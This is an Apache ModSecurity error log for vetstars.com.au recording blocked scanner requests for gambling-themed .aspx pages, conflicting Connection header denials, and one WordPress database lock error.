[Thu Feb 05 01:39:29.167285 2026] [:error] [pid 26443:tid 26464] [client 81.167.26.57:13335] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYOEUdRUJ4b_jBAfhPJxTAAAAVM"]
[Thu Feb 05 01:40:27.779103 2026] [:error] [pid 63684:tid 63698] [client 81.167.26.57:11714] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYOEi9sfhS3nNwjjsUPPdgAAAIk"]
[Thu Feb 05 01:40:37.795439 2026] [:error] [pid 6490:tid 6516] [client 81.167.26.57:22530] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYOElfjiJaSp2OpoDUl-uAAAAFc"]
[Thu Feb 05 01:40:44.387164 2026] [:error] [pid 63777:tid 63790] [client 81.167.26.57:12694] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYOEnPQ-YVerd_zSVS-MZAAAAAs"]
[Thu Feb 05 01:40:52.061294 2026] [:error] [pid 63686:tid 63745] [client 81.167.26.57:50696] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYOEpByaRl9O5jmngTwc-QAAAQI"]
[Thu Feb 05 07:59:29.035808 2026] [:error] [pid 12287:tid 12295] [client 54.36.179.84:38796] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aYPdYTOXzeBKhB81n7oA2gAAAMU"]
[Thu Feb 05 07:59:33.711068 2026] [:error] [pid 10950:tid 10982] [client 54.36.179.84:55894] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aYPdZfyO5N8A8xQHgCrulAAAAYE"]
[Thu Feb 05 07:59:36.873034 2026] [:error] [pid 12287:tid 12310] [client 54.36.179.84:55908] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aYPdaDOXzeBKhB81n7oA4gAAANM"]
[Thu Feb 05 07:59:40.417890 2026] [:error] [pid 10949:tid 10972] [client 54.36.179.84:51140] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "aYPdbNyI0wNtlpWZ1dj0LAAAAVI"]
[Thu Feb 05 07:59:43.877613 2026] [:error] [pid 12187:tid 12205] [client 54.36.179.84:51166] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aYPdb4nHiwpamEOSyaMOtAAAAAk"]
[Thu Feb 05 07:59:47.407862 2026] [:error] [pid 10950:tid 10985] [client 54.36.179.84:38044] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aYPdc_yO5N8A8xQHgCrupAAAAYQ"]
[Thu Feb 05 07:59:51.060041 2026] [:error] [pid 12187:tid 12212] [client 54.36.179.84:38062] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aYPdd4nHiwpamEOSyaMOugAAABA"]
[Thu Feb 05 07:59:55.535807 2026] [:error] [pid 10901:tid 10930] [client 54.36.179.84:38068] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aYPde2uRF4wGmEFQVY0ypwAAARg"]
[Thu Feb 05 07:59:59.070123 2026] [:error] [pid 10949:tid 10968] [client 54.36.179.84:56332] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aYPdf9yI0wNtlpWZ1dj0OgAAAU4"]
[Thu Feb 05 08:00:03.618846 2026] [:error] [pid 10901:tid 10925] [client 54.36.179.84:56336] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aYPdg2uRF4wGmEFQVY0yrAAAARM"]
[Thu Feb 05 08:00:06.951959 2026] [:error] [pid 12287:tid 12309] [client 54.36.179.84:56352] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aYPdhjOXzeBKhB81n7oA8wAAANI"]
[Thu Feb 05 08:00:10.362792 2026] [:error] [pid 12287:tid 12313] [client 54.36.179.84:42312] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aYPdijOXzeBKhB81n7oA_AAAANY"]
[Thu Feb 05 08:00:14.957350 2026] [:error] [pid 10950:tid 11000] [client 54.36.179.84:42316] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aYPdjvyO5N8A8xQHgCruygAAAZM"]
[Thu Feb 05 08:00:19.099718 2026] [:error] [pid 10950:tid 11002] [client 54.36.179.84:58036] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aYPdk_yO5N8A8xQHgCruzwAAAZU"]
[Thu Feb 05 08:00:32.482955 2026] [:error] [pid 12187:tid 12207] [client 123.187.240.242:56497] [client 123.187.240.242] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYPdoInHiwpamEOSyaMO2gAAAAs"]
[Thu Feb 05 08:00:54.157118 2026] [:error] [pid 10949:tid 10964] [client 54.36.179.84:58050] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aYPdttyI0wNtlpWZ1dj0gQAAAUo"]
[Thu Feb 05 08:00:57.554796 2026] [:error] [pid 10949:tid 10977] [client 54.36.179.84:53952] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aYPdudyI0wNtlpWZ1dj0hgAAAVc"]
[Thu Feb 05 08:01:00.902366 2026] [:error] [pid 12188:tid 12233] [client 54.36.179.84:53972] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aYPdvDKWpl9mNO_-qzMeQgAAAEk"]
[Thu Feb 05 08:01:03.906042 2026] [:error] [pid 12188:tid 12224] [client 54.36.179.84:53974] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aYPdvzKWpl9mNO_-qzMeTwAAAEA"]
[Thu Feb 05 08:01:06.919463 2026] [:error] [pid 10949:tid 10961] [client 54.36.179.84:36814] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aYPdwtyI0wNtlpWZ1dj0mAAAAUc"]
[Thu Feb 05 08:01:09.671988 2026] [:error] [pid 10950:tid 10995] [client 54.36.179.84:36826] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aYPdxfyO5N8A8xQHgCru_wAAAY4"]
[Thu Feb 05 08:01:12.519290 2026] [:error] [pid 12287:tid 12297] [client 54.36.179.84:36842] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "aYPdyDOXzeBKhB81n7oBRgAAAMc"]
[Thu Feb 05 08:01:15.375910 2026] [:error] [pid 12287:tid 12304] [client 54.36.179.84:36862] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "aYPdyzOXzeBKhB81n7oBVgAAAM4"]
[Thu Feb 05 08:01:18.237756 2026] [:error] [pid 12188:tid 12230] [client 54.36.179.84:34118] [client 54.36.179.84] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "aYPdzjKWpl9mNO_-qzMeewAAAEY"]
[Thu Feb 05 08:35:56.833629 2026] [:error] [pid 50183:tid 50221] [client 162.62.213.165:47376] [client 162.62.213.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aYPl7Epo3f-TEEfujDR6dgAAAEY"]
[Thu Feb 05 10:30:54.324283 2026] [:error] [pid 31833:tid 31840] [client 45.92.1.79:63247] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYQA3hzypZt5yekRAkGjPwAAAYU"]
[Thu Feb 05 10:30:55.736248 2026] [:error] [pid 33396:tid 33427] [client 45.92.1.79:64130] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYQA3_Tgp_Ev6LiSSgApoQAAANg"]
[Thu Feb 05 10:30:57.072269 2026] [:error] [pid 31739:tid 31756] [client 45.92.1.79:64949] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYQA4QGrHl_5BvMstJIxWgAAAA8"]
[Thu Feb 05 10:30:58.397965 2026] [:error] [pid 33122:tid 33132] [client 45.92.1.79:49587] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYQA4vW0IebAnFB9KDCUCwAAAEg"]
[Thu Feb 05 10:30:59.575149 2026] [:error] [pid 33396:tid 33403] [client 45.92.1.79:50254] [client 45.92.1.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYQA4_Tgp_Ev6LiSSgAp0QAAAMA"]
[Thu Feb 05 12:10:29.573434 2026] [proxy_fcgi:error] [pid 33396:tid 33404] [client 103.4.122.14:43144] AH01071: Got error 'PHP message: WordPress database error The total number of locks exceeds the lock table size for query UPDATE `wp_options` SET `option_value` = 'a:2:{s:7:\\"timeout\\";i:1770307829;s:5:\\"value\\";s:8157:\\"[{\\"id\\":\\"hello-theme-3.4.6\\",\\"title\\":\\"3.4.6 - 2026-01-21\\",\\"description\\":\\"\\\\n            <ul>\\\\n                <li>Tweak: Updated Elementor assets<\\\\/li>\\\\n            <\\\\/ul>\\"},{\\"id\\":\\"hello-theme-3.4.5\\",\\"title\\":\\"3.4.5 - 2025-10-27\\",\\"description\\":\\"\\\\n            <ul>\\\\n\\\\t\\\\t\\\\t\\\\t<li>New: Add theme home to Finder<\\\\/li>\\\\n\\\\t\\\\t\\\\t\\\\t<li>Tweak: Improve banner behavior after clicking on action button<\\\\/li>\\\\n\\\\t\\\\t\\\\t\\\\t<li>Fix: Load styles correctly in Gutenberg pages<\\\\/li>\\\\n\\\\t\\\\t\\\\t\\\\t<li>Fix: Do not change menu name after Elementor activation<\\\\/li>\\\\n\\\\t\\\\t\\\\t\\\\t<li>Fix: Ensure quicklinks works correctly from home page<\\\\/li>\\\\n            <\\\\/ul>\\"},{\\"id\\":\\"hello-theme-3.4.4\\",\\"title\\":\\"3.4.4 - 2025-06-08\\",\\"description\\":\\"\\\\n            <ul>\\\\n\\\\t\\\\t\\\\t\\\\t<li>Twea...'
[Thu Feb 05 12:50:52.251597 2026] [:error] [pid 33396:tid 33414] [client 43.166.130.123:38922] [client 43.166.130.123] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aYQhrPTgp_Ev6LiSSgBaBgAAAMs"]
[Thu Feb 05 19:43:45.033588 2026] [:error] [pid 19246:tid 19263] [client 217.182.195.126:37838] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYSCcXE1Gc0V44f4mCdNSgAAAgw"]
[Thu Feb 05 19:43:47.472806 2026] [:error] [pid 19213:tid 19222] [client 217.182.195.126:55192] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYSCc17WBXhXgHKWAIBe0wAAAcQ"]
[Thu Feb 05 19:43:50.204786 2026] [:error] [pid 33122:tid 33130] [client 217.182.195.126:55200] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYSCdvW0IebAnFB9KDAouAAAAEY"]
[Thu Feb 05 19:43:52.822695 2026] [:error] [pid 31739:tid 31758] [client 217.182.195.126:55202] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYSCeAGrHl_5BvMstJLWswAAABE"]
[Thu Feb 05 19:43:55.427960 2026] [:error] [pid 31833:tid 31855] [client 217.182.195.126:55208] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYSCexzypZt5yekRAkFWLQAAAZQ"]
[Thu Feb 05 19:43:58.057792 2026] [:error] [pid 14577:tid 14591] [client 217.182.195.126:53758] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYSCfpZbKwRdMc_HlgKHFQAAAUw"]
[Thu Feb 05 19:44:00.821109 2026] [:error] [pid 19213:tid 19229] [client 217.182.195.126:53764] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYSCgF7WBXhXgHKWAIBe3AAAAcs"]
[Thu Feb 05 19:44:03.397290 2026] [:error] [pid 14577:tid 14603] [client 217.182.195.126:53770] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYSCg5ZbKwRdMc_HlgKHGQAAAVg"]
[Thu Feb 05 19:44:06.368803 2026] [:error] [pid 19246:tid 19263] [client 217.182.195.126:54900] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYSChnE1Gc0V44f4mCdNVQAAAgw"]
[Thu Feb 05 19:44:09.181431 2026] [:error] [pid 31739:tid 31747] [client 217.182.195.126:54912] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYSCiQGrHl_5BvMstJLWwwAAAAY"]
[Thu Feb 05 19:44:11.908085 2026] [:error] [pid 19246:tid 19270] [client 217.182.195.126:54916] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYSCi3E1Gc0V44f4mCdNWQAAAhM"]
[Thu Feb 05 19:44:14.779280 2026] [:error] [pid 19213:tid 19225] [client 217.182.195.126:54922] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYSCjl7WBXhXgHKWAIBe6wAAAcc"]
[Thu Feb 05 19:44:17.421439 2026] [:error] [pid 31739:tid 31749] [client 217.182.195.126:35672] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYSCkQGrHl_5BvMstJLWxwAAAAg"]
[Thu Feb 05 19:44:20.177611 2026] [:error] [pid 31774:tid 31802] [client 217.182.195.126:35682] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYSClKjDlLg1NOhSOXUvoAAAAJg"]
[Thu Feb 05 19:44:22.756698 2026] [:error] [pid 14577:tid 14588] [client 217.182.195.126:35684] [client 217.182.195.126] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYSClpZbKwRdMc_HlgKHJwAAAUk"]
